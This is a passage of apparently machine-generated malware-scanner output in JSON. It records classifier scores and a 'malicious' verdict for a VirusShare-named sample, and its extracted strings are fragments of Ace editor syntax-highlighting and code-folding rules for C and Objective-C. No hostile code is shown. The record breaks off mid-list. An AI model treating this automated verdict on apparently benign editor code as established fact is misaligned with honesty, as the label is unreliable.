{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 1.0,
        "class": 1
      }
    ],
    "prob": 1.0,
    "class": 1,
    "models": [
      {
        "m": "az",
        "prob": 0.6687533,
        "class": 0
      },
      {
        "m": "az/source",
        "prob": 0.7058824,
        "class": 0
      },
      {
        "m": "az/kotlin",
        "prob": 1.0,
        "class": 1
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961373,
      0.9998425
    ],
    "analyzed_at": "2026-05-14T00:45:43Z"
  },
  "path": "VirusShare_e6093a18829f5b95c5194b0a33a36ba8",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(AsXe)H₂(CmPo)",
        "k": {
          "source.imports[0]": "\"\n                     ],\n            regex: \"",
          "source.imports[1]": "\",\n            regex : \"",
          "source.imports[2]": "\"],\n            regex: \"",
          "source.imports[3]": "define",
          "source.imports[4]": "function",
          "source.imports[5]": "lorPicking",
          "source.imports[6]": "nputServ",
          "source.imports[7]": "require",
          "source.strings[0]": "\n                     ],\n            regex: ",
          "source.strings[1]": "\n            }\n        ]\n    };\n\n    this.embedRules(DocCommentHighlightRules, ",
          "source.strings[2]": "\n            },\n            {\n                token : ",
          "source.strings[3]": "\n            }, \n            {\n                token : ",
          "source.strings[4]": "\n        }\n    ]\n};\n    for (var r in cRules) {\n        if (this.",
          "source.strings[5]": "\n        }\n    ]\n};\n    for (var r in cRules) {\n        if (this.$rules[r]) {\n            if (this.$rules[r].push)\n                this.$rules[r].push.apply(this.$rules[r], cRules[r]);\n        } else {\n            this.$rules[r] = cRules[r];\n        }\n    }\n    \n    this.$rules.bracketed_content = this.$rules.bracketed_content.concat(\n        this.$rules.start, specialVariables\n    );\n\n    this.embedRules(DocCommentHighlightRules, ",
          "source.strings[6]": "\n        }\n    ],\n    ",
          "source.strings[7]": "\n        }\n    ];\n\n    var cObj = new CHighlightRules();\n    var cRules = cObj.getRules();\n\n    this.",
          "source.strings[8]": "\n        }\n    ];\n\n    var cObj = new CHighlightRules();\n    var cRules = cObj.getRules();\n\n    this.$rules = {\n    ",
          "source.strings[9]": "\n        },\n        DocCommentHighlightRules.getStartRule(",
          "source.has_imports": true,
          "source.strings[10]": "\n        },\n        {\n            regex: ",
          "source.strings[11]": "\n        },\n        {\n            regex: escapedConstRe,\n            token: ",
          "source.strings[12]": "\n        },\n        {\n            token: ",
          "source.strings[13]": "\n        },\n        {\n            token: [",
          "source.strings[14]": "\n        },\n        {\n            token: [ ",
          "source.strings[15]": "\n        }, \n        {\n            token: [ ",
          "source.strings[16]": "\n        }, {\n            defaultToken : ",
          "source.strings[17]": "\n        }, {\n            regex: ",
          "source.strings[18]": " +\n                         ",
          "source.strings[19]": " + \n                         ",
          "source.strings[20]": " + commentRegex.end)\n        );\n    }\n};\noop.inherits(FoldMode, BaseFoldMode);\n\n(function() {\n    \n    this.foldingStartMarker = /([\\{\\[\\(])[^\\}\\]\\)]*",
          "source.strings[21]": " + commentRegex.end)\n        );\n    }\n};\noop.inherits(FoldMode, BaseFoldMode);\n\n(function() {\n    \n    this.foldingStartMarker = /([\\{\\[\\(])[^\\}\\]\\)]*$|^\\s*(\\/\\*)/;\n    this.foldingStopMarker = /^[^\\[\\{\\(]*([\\}\\]\\)])|^[\\s\\*]*(\\*\\/)/;\n    this.singleLineBlockCommentRe= /^\\s*(\\/\\*).*\\*\\/\\s*$/;\n    this.tripleStarBlockCommentRe = /^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/;\n    this.startRegionRe = /^\\s*(\\/\\*|\\/\\/)#?region\\b/;\n    this._getFoldWidgetBase = this.getFoldWidget;\n    this.getFoldWidget = function(session, foldStyle, row) {\n        var line = session.getLine(row);\n    \n        if (this.singleLineBlockCommentRe.test(line)) {\n            if (!this.startRegionRe.test(line) \u0026\u0026 !this.tripleStarBlockCommentRe.test(line))\n                return ",
          "source.strings[22]": " + commentRegex.start)\n        );\n        this.foldingStopMarker = new RegExp(\n            this.foldingStopMarker.source.replace(/\\|[^|]*?",
          "source.strings[23]": " + commentRegex.start)\n        );\n        this.foldingStopMarker = new RegExp(\n            this.foldingStopMarker.source.replace(/\\|[^|]*?$/, ",
          "source.strings[24]": " : [\n            {\n                token : ",
          "source.strings[25]": " : [\n        {\n            token : ",
          "source.strings[26]": " : keywordOperators,\n        ",
          "source.strings[27]": " : storageModifiers,\n        ",
          "source.strings[28]": " : storageType,\n        ",
          "source.strings[29]": " = this.",
          "source.strings[30]": " = {\n    ",
          "source.strings[31]": " = { \n        ",
          "source.strings[32]": " [\n        {\n            token: ",
          "source.strings[33]": " [ \n        {\n            token : ",
          "source.strings[34]": " ],\n            regex: ",
          "source.strings[35]": " builtinConstants\n    }, ",
          "source.strings[36]": " },\n                    { token: ",
          "source.strings[37]": "#\\\\s*(?:endif|if|ifdef|else|elif|ifndef)\\\\b",
          "source.strings[38]": "#\\\\s*(?:include|import|pragma|line|define|undef)\\\\b",
          "source.strings[39]": "$\"\n        },\n        DocCommentHighlightRules.getStartRule(",
          "source.strings[40]": "(?:\\\\b)(C(?:G(?:Float|Point|Size|Rect)|IFormat|AConstraintAttribute))(?:\\\\b)",
          "source.strings[41]": "(?:\\\\b)(C(?:I(?:Sampler|Co(?:ntext|lor)|Image(?:Accumulator)?|PlugIn(?:Registration)?|Vector|Kernel|Filter(?:Generator|Shape)?)|A(?:Renderer|MediaTiming(?:Function)?|BasicAnimation|ScrollLayer|Constraint(?:LayoutManager)?|T(?:iledLayer|extLayer|rans(?:ition|action))|OpenGLLayer|PropertyAnimation|KeyframeAnimation|Layer|A(?:nimation(?:Group)?|ction))))(?:\\\\b)",
          "source.strings[42]": "(?:\\\\b)(NS(?:Menu(?:Did(?:RemoveItem|SendAction|ChangeItem|EndTracking|AddItem)|WillSendAction)|S(?:ystemColorsDidChange|plitView(?:DidResizeSubviews|WillResizeSubviews))|C(?:o(?:nt(?:extHelpModeDid(?:Deactivate|Activate)|rolT(?:intDidChange|extDid(?:BeginEditing|Change|EndEditing)))|lor(?:PanelColorDidChange|ListDidChange)|mboBox(?:Selection(?:IsChanging|DidChange)|Will(?:Dismiss|PopUp)))|lassDescriptionNeededForClass)|T(?:oolbar(?:DidRemoveItem|WillAddItem)|ext(?:Storage(?:DidProcessEditing|WillProcessEditing)|Did(?:BeginEditing|Change|EndEditing)|View(?:DidChange(?:Selection|TypingAttributes)|WillChangeNotifyingTextView))|ableView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)))|ImageRepRegistryDidChange|OutlineView(?:Selection(?:IsChanging|DidChange)|ColumnDid(?:Resize|Move)|Item(?:Did(?:Collapse|Expand)|Will(?:Collapse|Expand)))|Drawer(?:Did(?:Close|Open)|Will(?:Close|Open))|PopUpButton(?:CellWillPopUp|WillPopUp)|View(?:GlobalFrameDidChange|BoundsDidChange|F(?:ocusDidChange|rameDidChange))|FontSetChanged|W(?:indow(?:Did(?:Resi(?:ze|gn(?:Main|Key))|M(?:iniaturize|ove)|Become(?:Main|Key)|ChangeScreen(?:|Profile)|Deminiaturize|Update|E(?:ndSheet|xpose))|Will(?:M(?:iniaturize|ove)|BeginSheet|Close))|orkspace(?:SessionDid(?:ResignActive|BecomeActive)|Did(?:Mount|TerminateApplication|Unmount|PerformFileOperation|Wake|LaunchApplication)|Will(?:Sleep|Unmount|PowerOff|LaunchApplication)))|A(?:ntialiasThresholdChanged|ppl(?:ication(?:Did(?:ResignActive|BecomeActive|Hide|ChangeScreenParameters|U(?:nhide|pdate)|FinishLaunching)|Will(?:ResignActive|BecomeActive|Hide|Terminate|U(?:nhide|pdate)|FinishLaunching))|eEventManagerWillProcessFirstEvent)))Notification)(?:\\\\b)",
          "source.strings[43]": "(?:\\\\b)(NS(?:MenuDidBeginTracking|ViewDidUpdateTrackingAreas)?Notification)(?:\\\\b)",
          "source.strings[44]": "(?:\\\\b)(NS(?:NotFound|Ordered(?:Ascending|Descending|Same)))(?:\\\\b)",
          "source.strings[45]": "(?:\\\\b)(NS(?:R(?:ect(?:Edge)?|ange)|G(?:lyph(?:Relation|LayoutMode)?|radientType)|M(?:odalSession|a(?:trixMode|p(?:Table|Enumerator)))|B(?:itmapImageFileType|orderType|uttonType|ezelStyle|ackingStoreType|rowserColumnResizingType)|S(?:cr(?:oll(?:er(?:Part|Arrow)|ArrowPosition)|eenAuxiliaryOpaque)|tringEncoding|ize|ocketNativeHandle|election(?:Granularity|Direction|Affinity)|wapped(?:Double|Float)|aveOperationType)|Ha(?:sh(?:Table|Enumerator)|ndler(?:2)?)|C(?:o(?:ntrol(?:Size|Tint)|mp(?:ositingOperation|arisonResult))|ell(?:State|Type|ImagePosition|Attribute))|T(?:hreadPrivate|ypesetterGlyphInfo|i(?:ckMarkPosition|tlePosition|meInterval)|o(?:ol(?:TipTag|bar(?:SizeMode|DisplayMode))|kenStyle)|IFFCompression|ext(?:TabType|Alignment)|ab(?:State|leViewDropOperation|ViewType)|rackingRectTag)|ImageInterpolation|Zone|OpenGL(?:ContextAuxiliary|PixelFormatAuxiliary)|D(?:ocumentChangeType|atePickerElementFlags|ra(?:werState|gOperation))|UsableScrollerParts|P(?:oint|r(?:intingPageOrder|ogressIndicator(?:Style|Th(?:ickness|readInfo))))|EventType|KeyValueObservingOptions|Fo(?:nt(?:SymbolicTraits|TraitMask|Action)|cusRingType)|W(?:indow(?:OrderingMode|Depth)|orkspace(?:IconCreationOptions|LaunchOptions)|ritingDirection)|L(?:ineBreakMode|ayout(?:Status|Direction))|A(?:nimation(?:Progress|Effect)|ppl(?:ication(?:TerminateReply|DelegateReply|PrintReply)|eEventManagerSuspensionID)|ffineTransformStruct|lertStyle)))(?:\\\\b)",
          "source.strings[46]": "(?:\\\\b)(NS(?:R(?:ound(?:DownToMultipleOfPageSize|UpToMultipleOfPageSize)|un(?:CriticalAlertPanel(?:RelativeToWindow)?|InformationalAlertPanel(?:RelativeToWindow)?|AlertPanel(?:RelativeToWindow)?)|e(?:set(?:MapTable|HashTable)|c(?:ycleZone|t(?:Clip(?:List)?|F(?:ill(?:UsingOperation|List(?:UsingOperation|With(?:Grays|Colors(?:UsingOperation)?))?)?|romString))|ordAllocationEvent)|turnAddress|leaseAlertPanel|a(?:dPixel|l(?:MemoryAvailable|locateCollectable))|gisterServicesProvider)|angeFromString)|Get(?:SizeAndAlignment|CriticalAlertPanel|InformationalAlertPanel|UncaughtExceptionHandler|FileType(?:s)?|WindowServerMemory|AlertPanel)|M(?:i(?:n(?:X|Y)|d(?:X|Y))|ouseInRect|a(?:p(?:Remove|Get|Member|Insert(?:IfAbsent|KnownAbsent)?)|ke(?:R(?:ect|ange)|Size|Point)|x(?:Range|X|Y)))|B(?:itsPer(?:SampleFromDepth|PixelFromDepth)|e(?:stDepth|ep|gin(?:CriticalAlertSheet|InformationalAlertSheet|AlertSheet)))|S(?:ho(?:uldRetainWithZone|w(?:sServicesMenuItem|AnimationEffect))|tringFrom(?:R(?:ect|ange)|MapTable|S(?:ize|elector)|HashTable|Class|Point)|izeFromString|e(?:t(?:ShowsServicesMenuItem|ZoneName|UncaughtExceptionHandler|FocusRingStyle)|lectorFromString|archPathForDirectoriesInDomains)|wap(?:Big(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|Short|Host(?:ShortTo(?:Big|Little)|IntTo(?:Big|Little)|DoubleTo(?:Big|Little)|FloatTo(?:Big|Little)|Long(?:To(?:Big|Little)|LongTo(?:Big|Little)))|Int|Double|Float|L(?:ittle(?:ShortToHost|IntToHost|DoubleToHost|FloatToHost|Long(?:ToHost|LongToHost))|ong(?:Long)?)))|H(?:ighlightRect|o(?:stByteOrder|meDirectory(?:ForUser)?)|eight|ash(?:Remove|Get|Insert(?:IfAbsent|KnownAbsent)?)|FSType(?:CodeFromFileType|OfFile))|N(?:umberOfColorComponents|ext(?:MapEnumeratorPair|HashEnumeratorItem))|C(?:o(?:n(?:tainsRect|vert(?:GlyphsToPackedGlyphs|Swapped(?:DoubleToHost|FloatToHost)|Host(?:DoubleToSwapped|FloatToSwapped)))|unt(?:MapTable|HashTable|Frames|Windows(?:ForContext)?)|py(?:M(?:emoryPages|apTableWithZone)|Bits|HashTableWithZone|Object)|lorSpaceFromDepth|mpare(?:MapTables|HashTables))|lassFromString|reate(?:MapTable(?:WithZone)?|HashTable(?:WithZone)?|Zone|File(?:namePboardType|ContentsPboardType)))|TemporaryDirectory|I(?:s(?:ControllerMarker|EmptyRect|FreedObject)|n(?:setRect|crementExtraRefCount|te(?:r(?:sect(?:sRect|ionR(?:ect|ange))|faceStyleForKey)|gralRect)))|Zone(?:Realloc|Malloc|Name|Calloc|Fr(?:omPointer|ee))|O(?:penStepRootDirectory|ffsetRect)|D(?:i(?:sableScreenUpdates|videRect)|ottedFrameRect|e(?:c(?:imal(?:Round|Multiply|S(?:tring|ubtract)|Normalize|Co(?:py|mpa(?:ct|re))|IsNotANumber|Divide|Power|Add)|rementExtraRefCountWasZero)|faultMallocZone|allocate(?:MemoryPages|Object))|raw(?:Gr(?:oove|ayBezel)|B(?:itmap|utton)|ColorTiledRects|TiledRects|DarkBezel|W(?:hiteBezel|indowBackground)|LightBezel))|U(?:serName|n(?:ionR(?:ect|ange)|registerServicesProvider)|pdateDynamicServices)|Java(?:Bundle(?:Setup|Cleanup)|Setup(?:VirtualMachine)?|Needs(?:ToLoadClasses|VirtualMachine)|ClassesF(?:orBundle|romPath)|ObjectNamedInPath|ProvidesClasses)|P(?:oint(?:InRect|FromString)|erformService|lanarFromDepth|ageSize)|E(?:n(?:d(?:MapTableEnumeration|HashTableEnumeration)|umerate(?:MapTable|HashTable)|ableScreenUpdates)|qual(?:R(?:ects|anges)|Sizes|Points)|raseRect|xtraRefCount)|F(?:ileTypeForHFSTypeCode|ullUserName|r(?:ee(?:MapTable|HashTable)|ame(?:Rect(?:WithWidth(?:UsingOperation)?)?|Address)))|Wi(?:ndowList(?:ForContext)?|dth)|Lo(?:cationInRange|g(?:v|PageSize)?)|A(?:ccessibility(?:R(?:oleDescription(?:ForUIElement)?|aiseBadArgumentException)|Unignored(?:Children(?:ForOnlyChild)?|Descendant|Ancestor)|PostNotification|ActionDescription)|pplication(?:Main|Load)|vailableWindowDepths|ll(?:MapTable(?:Values|Keys)|HashTableObjects|ocate(?:MemoryPages|Collectable|Object)))))(?:\\\\b)",
          "source.strings[47]": "(?:\\\\b)(NS(?:R(?:u(?:nLoop|ler(?:Marker|View))|e(?:sponder|cursiveLock|lativeSpecifier)|an(?:domSpecifier|geSpecifier))|G(?:etCommand|lyph(?:Generator|Storage|Info)|raphicsContext)|XML(?:Node|D(?:ocument|TD(?:Node)?)|Parser|Element)|M(?:iddleSpecifier|ov(?:ie(?:View)?|eCommand)|utable(?:S(?:tring|et)|C(?:haracterSet|opying)|IndexSet|D(?:ictionary|ata)|URLRequest|ParagraphStyle|A(?:ttributedString|rray))|e(?:ssagePort(?:NameServer)?|nu(?:Item(?:Cell)?|View)?|t(?:hodSignature|adata(?:Item|Query(?:ResultGroup|AttributeValueTuple)?)))|a(?:ch(?:BootstrapServer|Port)|trix))|B(?:itmapImageRep|ox|u(?:ndle|tton(?:Cell)?)|ezierPath|rowser(?:Cell)?)|S(?:hadow|c(?:anner|r(?:ipt(?:SuiteRegistry|C(?:o(?:ercionHandler|mmand(?:Description)?)|lassDescription)|ObjectSpecifier|ExecutionContext|WhoseTest)|oll(?:er|View)|een))|t(?:epper(?:Cell)?|atus(?:Bar|Item)|r(?:ing|eam))|imple(?:HorizontalTypesetter|CString)|o(?:cketPort(?:NameServer)?|und|rtDescriptor)|p(?:e(?:cifierTest|ech(?:Recognizer|Synthesizer)|ll(?:Server|Checker))|litView)|e(?:cureTextField(?:Cell)?|t(?:Command)?|archField(?:Cell)?|rializer|gmentedC(?:ontrol|ell))|lider(?:Cell)?|avePanel)|H(?:ost|TTP(?:Cookie(?:Storage)?|URLResponse)|elpManager)|N(?:ib(?:Con(?:nector|trolConnector)|OutletConnector)?|otification(?:Center|Queue)?|u(?:ll|mber(?:Formatter)?)|etService(?:Browser)?|ameSpecifier)|C(?:ha(?:ngeSpelling|racterSet)|o(?:n(?:stantString|nection|trol(?:ler)?|ditionLock)|d(?:ing|er)|unt(?:Command|edSet)|pying|lor(?:Space|P(?:ick(?:ing(?:Custom|Default)|er)|anel)|Well|List)?|m(?:p(?:oundPredicate|arisonPredicate)|boBox(?:Cell)?))|u(?:stomImageRep|rsor)|IImageRep|ell|l(?:ipView|o(?:seCommand|neCommand)|assDescription)|a(?:ched(?:ImageRep|URLResponse)|lendar(?:Date)?)|reateCommand)|T(?:hread|ypesetter|ime(?:Zone|r)|o(?:olbar(?:Item(?:Validations)?)?|kenField(?:Cell)?)|ext(?:Block|Storage|Container|Tab(?:le(?:Block)?)?|Input|View|Field(?:Cell)?|List|Attachment(?:Cell)?)?|a(?:sk|b(?:le(?:Header(?:Cell|View)|Column|View)|View(?:Item)?))|reeController)|I(?:n(?:dex(?:S(?:pecifier|et)|Path)|put(?:Manager|S(?:tream|erv(?:iceProvider|er(?:MouseTracker)?)))|vocation)|gnoreMisspelledWords|mage(?:Rep|Cell|View)?)|O(?:ut(?:putStream|lineView)|pen(?:GL(?:Context|Pixel(?:Buffer|Format)|View)|Panel)|bj(?:CTypeSerializationCallBack|ect(?:Controller)?))|D(?:i(?:st(?:antObject(?:Request)?|ributed(?:NotificationCenter|Lock))|ctionary|rectoryEnumerator)|ocument(?:Controller)?|e(?:serializer|cimalNumber(?:Behaviors|Handler)?|leteCommand)|at(?:e(?:Components|Picker(?:Cell)?|Formatter)?|a)|ra(?:wer|ggingInfo))|U(?:ser(?:InterfaceValidations|Defaults(?:Controller)?)|RL(?:Re(?:sponse|quest)|Handle(?:Client)?|C(?:onnection|ache|redential(?:Storage)?)|Download(?:Delegate)?|Prot(?:ocol(?:Client)?|ectionSpace)|AuthenticationChallenge(?:Sender)?)?|n(?:iqueIDSpecifier|doManager|archiver))|P(?:ipe|o(?:sitionalSpecifier|pUpButton(?:Cell)?|rt(?:Message|NameServer|Coder)?)|ICTImageRep|ersistentDocument|DFImageRep|a(?:steboard|nel|ragraphStyle|geLayout)|r(?:int(?:Info|er|Operation|Panel)|o(?:cessInfo|tocolChecker|perty(?:Specifier|ListSerialization)|gressIndicator|xy)|edicate))|E(?:numerator|vent|PSImageRep|rror|x(?:ception|istsCommand|pression))|V(?:iew(?:Animation)?|al(?:idated(?:ToobarItem|UserInterfaceItem)|ue(?:Transformer)?))|Keyed(?:Unarchiver|Archiver)|Qui(?:ckDrawView|tCommand)|F(?:ile(?:Manager|Handle|Wrapper)|o(?:nt(?:Manager|Descriptor|Panel)?|rm(?:Cell|atter)))|W(?:hoseSpecifier|indow(?:Controller)?|orkspace)|L(?:o(?:c(?:k(?:ing)?|ale)|gicalTest)|evelIndicator(?:Cell)?|ayoutManager)|A(?:ssertionHandler|nimation|ctionCell|ttributedString|utoreleasePool|TSTypesetter|ppl(?:ication|e(?:Script|Event(?:Manager|Descriptor)))|ffineTransform|lert|r(?:chiver|ray(?:Controller)?))))(?:\\\\b)",
          "source.strings[48]": "(?:\\\\b)(NS(?:Rect(?:ToCGRect|FromCGRect)|MakeCollectable|S(?:tringFromProtocol|ize(?:ToCGSize|FromCGSize))|Draw(?:NinePartImage|ThreePartImage)|P(?:oint(?:ToCGPoint|FromCGPoint)|rotocolFromString)|EventMaskFromType|Value))(?:\\\\b)",
          "source.strings[49]": "(?:\\\\b)(NS(?:RuleEditor(?:RowType(?:Simple|Compound)|NestingMode(?:Si(?:ngle|mple)|Compound|List))|GradientDraws(?:BeforeStartingLocation|AfterEndingLocation)|M(?:inusSetExpressionType|a(?:chPortDeallocate(?:ReceiveRight|SendRight|None)|pTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality)))|B(?:oxCustom|undleExecutableArchitecture(?:X86|I386|PPC(?:64)?)|etweenPredicateOperatorType|ackgroundStyle(?:Raised|Dark|L(?:ight|owered)))|S(?:tring(?:DrawingTruncatesLastVisibleLine|EncodingConversion(?:ExternalRepresentation|AllowLossy))|ubqueryExpressionType|p(?:e(?:ech(?:SentenceBoundary|ImmediateBoundary|WordBoundary)|llingState(?:GrammarFlag|SpellingFlag))|litViewDividerStyleThi(?:n|ck))|e(?:rvice(?:RequestTimedOutError|M(?:iscellaneousError|alformedServiceDictionaryError)|InvalidPasteboardDataError|ErrorM(?:inimum|aximum)|Application(?:NotFoundError|LaunchFailedError))|gmentStyle(?:Round(?:Rect|ed)|SmallSquare|Capsule|Textured(?:Rounded|Square)|Automatic)))|H(?:UDWindowMask|ashTable(?:StrongMemory|CopyIn|ZeroingWeakMemory|ObjectPointerPersonality))|N(?:oModeColorPanel|etServiceNoAutoRename)|C(?:hangeRedone|o(?:ntainsPredicateOperatorType|l(?:orRenderingIntent(?:RelativeColorimetric|Saturation|Default|Perceptual|AbsoluteColorimetric)|lectorDisabledOption))|ellHit(?:None|ContentArea|TrackableArea|EditableTextArea))|T(?:imeZoneNameStyle(?:S(?:hort(?:Standard|DaylightSaving)|tandard)|DaylightSaving)|extFieldDatePickerStyle|ableViewSelectionHighlightStyle(?:Regular|SourceList)|racking(?:Mouse(?:Moved|EnteredAndExited)|CursorUpdate|InVisibleRect|EnabledDuringMouseDrag|A(?:ssumeInside|ctive(?:In(?:KeyWindow|ActiveApp)|WhenFirstResponder|Always))))|I(?:n(?:tersectSetExpressionType|dexedColorSpaceModel)|mageScale(?:None|Proportionally(?:Down|UpOrDown)|AxesIndependently))|Ope(?:nGLPFAAllowOfflineRenderers|rationQueue(?:DefaultMaxConcurrentOperationCount|Priority(?:High|Normal|Very(?:High|Low)|Low)))|D(?:iacriticInsensitiveSearch|ownloadsDirectory)|U(?:nionSetExpressionType|TF(?:16(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)|32(?:BigEndianStringEncoding|StringEncoding|LittleEndianStringEncoding)))|P(?:ointerFunctions(?:Ma(?:chVirtualMemory|llocMemory)|Str(?:ongMemory|uctPersonality)|C(?:StringPersonality|opyIn)|IntegerPersonality|ZeroingWeakMemory|O(?:paque(?:Memory|Personality)|bjectP(?:ointerPersonality|ersonality)))|at(?:hStyle(?:Standard|NavigationBar|PopUp)|ternColorSpaceModel)|rintPanelShows(?:Scaling|Copies|Orientation|P(?:a(?:perSize|ge(?:Range|SetupAccessory))|review)))|Executable(?:RuntimeMismatchError|NotLoadableError|ErrorM(?:inimum|aximum)|L(?:inkError|oadError)|ArchitectureMismatchError)|KeyValueObservingOption(?:Initial|Prior)|F(?:i(?:ndPanelSubstringMatchType(?:StartsWith|Contains|EndsWith|FullWord)|leRead(?:TooLargeError|UnknownStringEncodingError))|orcedOrderingSearch)|Wi(?:ndow(?:BackingLocation(?:MainMemory|Default|VideoMemory)|Sharing(?:Read(?:Only|Write)|None)|CollectionBehavior(?:MoveToActiveSpace|CanJoinAllSpaces|Default))|dthInsensitiveSearch)|AggregateExpressionType))(?:\\\\b)",
          "source.strings[50]": "(?:\\\\b)(NS(?:RuleEditor|G(?:arbageCollector|radient)|MapTable|HashTable|Co(?:ndition|llectionView(?:Item)?)|T(?:oolbarItemGroup|extInputClient|r(?:eeNode|ackingArea))|InvocationOperation|Operation(?:Queue)?|D(?:ictionaryController|ockTile)|P(?:ointer(?:Functions|Array)|athC(?:o(?:ntrol(?:Delegate)?|mponentCell)|ell(?:Delegate)?)|r(?:intPanelAccessorizing|edicateEditor(?:RowTemplate)?))|ViewController|FastEnumeration|Animat(?:ionContext|ablePropertyContainer)))(?:\\\\b)",
          "source.strings[51]": "(@)(class|protocol)\\\\b",
          "source.strings[52]": "(@)(defs|encode)\\\\b",
          "source.strings[53]": "(@)(synchronized|public|private|protected|package)\\\\b",
          "source.strings[54]": "(@)(try|catch|finally|throw)\\\\b",
          "source.strings[55]": "(@selector)(\\\\s*\\\\()",
          "source.strings[56]": "(\\\\bid\\\\b)(\\\\s|\\\\n)?",
          "source.strings[57]": ")\n                    range = null;\n            }\n            \n            return range;\n        }\n\n        if (foldStyle === ",
          "source.strings[58]": ")\n            return;\n\n        var match = line.match(this.foldingStopMarker);\n        if (match) {\n            var i = match.index + match[0].length;\n\n            if (match[1])\n                return this.closingBracketBlock(session, match[1], row, i);\n\n            return session.getCommentFoldRange(row, i, -1);\n        }\n    };\n    \n    this.getSectionRange = function(session, row) {\n        var line = session.getLine(row);\n        var startIndent = line.search(/\\S/);\n        var startRow = row;\n        var startColumn = line.length;\n        row = row + 1;\n        var endRow = row;\n        var maxRow = session.getLength();\n        while (++row \u003c maxRow) {\n            line = session.getLine(row);\n            var indent = line.search(/\\S/);\n            if (indent === -1)\n                continue;\n            if  (startIndent \u003e indent)\n                break;\n            var subRange = this.getFoldWidgetRange(session, ",
          "source.strings[59]": ") ]);\n    this.normalizeRules();\n};\n\noop.inherits(c_cppHighlightRules, TextHighlightRules);\n\nexports.c_cppHighlightRules = c_cppHighlightRules;\n});\n\ndefine(",
          "source.strings[60]": ") ]);\n};\n\noop.inherits(ObjectiveCHighlightRules, CHighlightRules);\n\nexports.ObjectiveCHighlightRules = ObjectiveCHighlightRules;\n});\n\ndefine(",
          "source.strings[61]": "),\n        {\n            token : ",
          "source.strings[62]": ").DocCommentHighlightRules;\nvar C_Highlight_File = require(",
          "source.strings[63]": ").FoldMode;\n\nvar FoldMode = exports.FoldMode = function(commentRegex) {\n    if (commentRegex) {\n        this.foldingStartMarker = new RegExp(\n            this.foldingStartMarker.source.replace(/\\|[^|]*?",
          "source.strings[64]": ").FoldMode;\n\nvar FoldMode = exports.FoldMode = function(commentRegex) {\n    if (commentRegex) {\n        this.foldingStartMarker = new RegExp(\n            this.foldingStartMarker.source.replace(/\\|[^|]*?$/, ",
          "source.strings[65]": ").FoldMode;\n\nvar Mode = function() {\n    this.HighlightRules = ObjectiveCHighlightRules;\n    this.foldingRules = new CStyleFoldMode();\n    this.",
          "source.strings[66]": ").FoldMode;\n\nvar Mode = function() {\n    this.HighlightRules = ObjectiveCHighlightRules;\n    this.foldingRules = new CStyleFoldMode();\n    this.$behaviour = this.$defaultBehaviour;\n};\noop.inherits(Mode, TextMode);\n\n(function() {\n    this.lineCommentStart = ",
          "source.strings[67]": ").Mode;\nvar ObjectiveCHighlightRules = require(",
          "source.strings[68]": ").ObjectiveCHighlightRules;\nvar CStyleFoldMode = require(",
          "source.strings[69]": ").Range;\nvar BaseFoldMode = require(",
          "source.strings[70]": ");\n\n    var identifierRe = ",
          "source.strings[71]": ");\nvar CHighlightRules = C_Highlight_File.c_cppHighlightRules;\n\nvar ObjectiveCHighlightRules = function() {\n\n    var escapedConstRe = ",
          "source.strings[72]": ");\nvar DocCommentHighlightRules = require(",
          "source.strings[73]": ");\nvar Range = require(",
          "source.strings[74]": ");\nvar TextMode = require(",
          "source.strings[75]": ",\n        ",
          "source.strings[76]": ",\n                next : ",
          "source.strings[77]": ",\n                next: [\n                    { token: ",
          "source.strings[78]": ",\n                regex : ",
          "source.strings[79]": ",\n                regex : /[^\\\\\\/]+/,\n                next : ",
          "source.strings[80]": ",\n            next : ",
          "source.strings[81]": ",\n            next: ",
          "source.strings[82]": ",\n            regex : ",
          "source.strings[83]": ",\n            regex: ",
          "source.strings[84]": ",\n            regex: '@",
          "source.strings[85]": ",\n            regex: '[^",
          "source.strings[86]": ",\n            token: ",
          "source.strings[87]": ",\n        [ DocCommentHighlightRules.getEndRule(",
          "source.strings[88]": ", \n                       ",
          "source.strings[89]": ", \n                        ",
          "source.strings[90]": ", \n                stateName: ",
          "source.strings[91]": ", // closing comment\n            regex : ",
          "source.strings[92]": ", // multi line comment\n            regex : ",
          "source.strings[93]": ", // single line\n                regex : ",
          "source.strings[94]": ", regex: ",
          "source.strings[95]": ", regex: '\\\\)",
          "source.strings[96]": ", regex: /\\\\\\s*",
          "source.strings[97]": ", regex: /\\\\\\s*$/, next: ",
          "source.strings[98]": ", regex: escapeRe },\n                    { token: ",
          "source.strings[99]": ", regex: formatRe },\n                    { token: ",
          "source.strings[100]": ", row);\n            \n            if (subRange) {\n                if (subRange.start.row \u003c= startRow) {\n                    break;\n                } else if (subRange.isMultiLine()) {\n                    row = subRange.end.row;\n                } else if (startIndent == indent) {\n                    break;\n                }\n            }\n            endRow = row;\n        }\n        \n        return new Range(startRow, startColumn, endRow, session.getLine(endRow).length);\n    };\n    this.getCommentRegionBlock = function(session, line, row) {\n        var startColumn = line.search(/\\s*",
          "source.strings[101]": ", row);\n            \n            if (subRange) {\n                if (subRange.start.row \u003c= startRow) {\n                    break;\n                } else if (subRange.isMultiLine()) {\n                    row = subRange.end.row;\n                } else if (startIndent == indent) {\n                    break;\n                }\n            }\n            endRow = row;\n        }\n        \n        return new Range(startRow, startColumn, endRow, session.getLine(endRow).length);\n    };\n    this.getCommentRegionBlock = function(session, line, row) {\n        var startColumn = line.search(/\\s*$/);\n        var maxRow = session.getLength();\n        var startRow = row;\n        \n        var re = /^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/;\n        var depth = 1;\n        while (++row \u003c maxRow) {\n            line = session.getLine(row);\n            var m = re.exec(line);\n            if (!m) continue;\n            if (m[1]) depth--;\n            else depth++;\n\n            if (!depth) break;\n        }\n\n        var endRow = row;\n        if (endRow \u003e startRow) {\n            return new Range(startRow, startColumn, endRow, line.length);\n        }\n    };\n\n}).call(FoldMode.prototype);\n\n});\n\ndefine(",
          "source.strings[102]": "../lib/oop",
          "source.strings[103]": "./doc_comment_highlight_rules",
          "source.strings[104]": "./text_highlight_rules",
          "source.strings[105]": ".bracketed_content = this.",
          "source.strings[106]": ".bracketed_content.concat(\n        this.",
